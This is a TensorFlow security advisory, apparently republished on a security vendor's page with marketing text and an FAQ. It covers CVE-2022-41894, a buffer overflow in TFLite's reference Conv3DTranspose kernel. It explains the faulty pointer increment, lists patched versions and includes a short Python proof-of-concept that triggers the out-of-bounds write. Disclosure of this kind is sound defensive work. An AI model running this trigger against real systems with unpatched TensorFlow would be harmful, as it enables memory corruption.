Summary
Buffer overflow in CONV3DTRANSPOSE on TFLite
For more information
Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.
Attribution
This vulnerability has been reported by Thibaut Goetghebuer-Planchon, Arm Ltd.
Impact
The reference kernel of the CONV_3D_TRANSPOSE TensorFlow Lite operator wrongly increments the data_ptr when adding the bias to the result.
Instead of data_ptr += num_channels; it should be data_ptr += output_num_channels; as if the number of input channels is different than the number of output channels, the wrong result will be returned and a buffer overflow will occur if num_channels > output_num_channels.
An attacker can craft a model with a specific number of input channels in a way similar to the attached example script. It is then possible to write specific values through the bias of the layer outside the bounds of the buffer. This attack only works if the reference kernel resolver is used in the interpreter (i.e. experimental_op_resolver_type=tf.lite.experimental.OpResolverType.BUILTIN_REF is used).
import tensorflow as tf
model = tf.keras.Sequential(
[
tf.keras.layers.InputLayer(input_shape=(2, 2, 2, 1024), batch_size=1),
tf.keras.layers.Conv3DTranspose(
filters=8,
kernel_size=(2, 2, 2),
padding="same",
data_format="channels_last",
),
]
)
converter = tf.lite.TFLiteConverter.from_keras_model(model)
tflite_model = converter.convert()
interpreter = tf.lite.Interpreter(
model_content=tflite_model,
experimental_op_resolver_type=tf.lite.experimental.OpResolverType.BUILTIN_REF,
)
interpreter.allocate_tensors()
interpreter.set_tensor(
interpreter.get_input_details()[0]["index"], tf.zeros(shape=[1, 2, 2, 2, 1024])
)
interpreter.invoke()
CVE-2022-41894 has a CVSS score of 7.1 (High). The vector is network-reachable, low privileges required, and user interaction required. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (2.8.4, 2.9.3, 2.10.1); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
We have patched the issue in GitHub commit 72c0bdcb25305b0b36842d746cc61d72658d2941.
The fix will be included in TensorFlow 2.11. We will also cherrypick this commit on TensorFlow 2.10.1, 2.9.3, and TensorFlow 2.8.4, as these are also affected and still in supported range.
Frequently Asked Questions
- What is CVE-2022-41894? CVE-2022-41894 is a high-severity security vulnerability in tensorflow (pip), affecting versions < 2.8.4. It is fixed in 2.8.4, 2.9.3, 2.10.1.
- How severe is CVE-2022-41894? CVE-2022-41894 has a CVSS score of 7.1 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of tensorflow are affected by CVE-2022-41894? tensorflow (pip) versions < 2.8.4 is affected.
- Is there a fix for CVE-2022-41894? Yes. CVE-2022-41894 is fixed in 2.8.4, 2.9.3, 2.10.1. Upgrade to this version or later.
- Is CVE-2022-41894 exploitable, and should I be worried? Whether CVE-2022-41894 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2022-41894 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2022-41894?
- Upgrade
tensorflowto 2.8.4 or later - Upgrade
tensorflowto 2.9.3 or later - Upgrade
tensorflowto 2.10.1 or later
- Upgrade